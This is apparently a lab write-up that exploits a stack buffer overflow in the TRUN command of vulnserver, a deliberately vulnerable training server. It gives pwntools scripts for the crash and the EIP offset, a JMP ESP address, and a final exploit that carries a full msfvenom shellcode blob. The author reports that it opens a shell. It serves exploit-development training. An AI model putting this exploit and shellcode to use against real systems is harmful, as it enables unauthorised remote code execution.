Exploiting vulnserver.exe — TRUN command using JMP ESP technique
In this write-up, I will discuss about attacking TRUN command of vulnserver.exe with JMP ESP technique.
To get started, let’s read the source code of vulnserver.
The code tells us that it copies 3000 bytes
of our input (RecvBuf)
to TrunBuf
if our input contains a “.”, and it passes TrunBuf
to Function3().
Let’s inspect Function3
to have a better understanding what happens next.
The contents of TrunBuf
is copied to Buffer2S
without checking the payload length. This is where the vulnerability occurs. Since Buffer2S
can only handle 2000
bytes
and TrunBuf
can handle up to 3000 bytes
of input, we can smash the stack by sending a payload greater than 2000 bytes.
Our initial payload should look like this.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "TRUN ."
payload += "A"*3000
r.sendline(payload)
r.close()
Sending this payload to vulnserver
makes the program crash.
Upon checking the registers, it seems that we can now control the instruction pointer.
Let’s fuzz this program to get the offset we need to control EIP.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "TRUN ."
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
r.sendline(payload)
r.close()
Sending this payload gives us the unique pattern that has overwritten the instruction pointer.
The offset is 2006
.
Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send 3000 bytes
of payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use JMP ESP
to jump to our shellcode.
First, let’s check if there is an available JMP ESP
instruction that we can use with the help of mona. We can simply use !mona jmp -r esp
to get a list of JMP ESP
instructions.
We can use 0x625011af
as our JMP ESP
instruction.
Next, we need to generate our shellcode. We can simply use msfvenom
for this one.
Now, let’s reconstruct our payload with this structure.
payload = <2006 bytes buffer> + JMP ESP + NOP SLED + shellcode
NOTE: Since we have a large space to work with, we added a NOP sled to give space to our shellcode. NOP stands for no operation, which means that it is an instruction that does nothing.
Our final payload script looks like this.
from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xdb\xd9\xd9\x74\x24\xf4\x5e\xbd\xfd\xa4\xaa"
shellcode += b"\x0f\x33\xc9\xb1\x52\x31\x6e\x17\x83\xc6\x04"
shellcode += b"\x03\x93\xb7\x48\xfa\x97\x50\x0e\x05\x67\xa1"
shellcode += b"\x6f\x8f\x82\x90\xaf\xeb\xc7\x83\x1f\x7f\x85"
shellcode += b"\x2f\xeb\x2d\x3d\xbb\x99\xf9\x32\x0c\x17\xdc"
shellcode += b"\x7d\x8d\x04\x1c\x1c\x0d\x57\x71\xfe\x2c\x98"
shellcode += b"\x84\xff\x69\xc5\x65\xad\x22\x81\xd8\x41\x46"
shellcode += b"\xdf\xe0\xea\x14\xf1\x60\x0f\xec\xf0\x41\x9e"
shellcode += b"\x66\xab\x41\x21\xaa\xc7\xcb\x39\xaf\xe2\x82"
shellcode += b"\xb2\x1b\x98\x14\x12\x52\x61\xba\x5b\x5a\x90"
shellcode += b"\xc2\x9c\x5d\x4b\xb1\xd4\x9d\xf6\xc2\x23\xdf"
shellcode += b"\x2c\x46\xb7\x47\xa6\xf0\x13\x79\x6b\x66\xd0"
shellcode += b"\x75\xc0\xec\xbe\x99\xd7\x21\xb5\xa6\x5c\xc4"
shellcode += b"\x19\x2f\x26\xe3\xbd\x6b\xfc\x8a\xe4\xd1\x53"
shellcode += b"\xb2\xf6\xb9\x0c\x16\x7d\x57\x58\x2b\xdc\x30"
shellcode += b"\xad\x06\xde\xc0\xb9\x11\xad\xf2\x66\x8a\x39"
shellcode += b"\xbf\xef\x14\xbe\xc0\xc5\xe1\x50\x3f\xe6\x11"
shellcode += b"\x79\x84\xb2\x41\x11\x2d\xbb\x09\xe1\xd2\x6e"
shellcode += b"\x9d\xb1\x7c\xc1\x5e\x61\x3d\xb1\x36\x6b\xb2"
shellcode += b"\xee\x27\x94\x18\x87\xc2\x6f\xcb\x68\xba\xe7"
shellcode += b"\xfd\x01\xb9\xf7\x10\x8e\x34\x11\x78\x3e\x11"
shellcode += b"\x8a\x15\xa7\x38\x40\x87\x28\x97\x2d\x87\xa3"
shellcode += b"\x14\xd2\x46\x44\x50\xc0\x3f\xa4\x2f\xba\x96"
shellcode += b"\xbb\x85\xd2\x75\x29\x42\x22\xf3\x52\xdd\x75"
shellcode += b"\x54\xa4\x14\x13\x48\x9f\x8e\x01\x91\x79\xe8"
shellcode += b"\x81\x4e\xba\xf7\x08\x02\x86\xd3\x1a\xda\x07"
shellcode += b"\x58\x4e\xb2\x51\x36\x38\x74\x08\xf8\x92\x2e"
shellcode += b"\xe7\x52\x72\xb6\xcb\x64\x04\xb7\x01\x13\xe8"
shellcode += b"\x06\xfc\x62\x17\xa6\x68\x63\x60\xda\x08\x8c"
shellcode += b"\xbb\x5e\x38\xc7\xe1\xf7\xd1\x8e\x70\x4a\xbc"
shellcode += b"\x30\xaf\x89\xb9\xb2\x45\x72\x3e\xaa\x2c\x77"
shellcode += b"\x7a\x6c\xdd\x05\x13\x19\xe1\xba\x14\x08"
payload = ""
payload += "TRUN ."
payload += "A"*2006
payload += p32(0x625011af) # JMP ESP
payload += "\x90"*50 # NOP SLED
payload += shellcode
r.sendline(payload)
r.close()
Executing this payload gives us a shell.
— ar33zy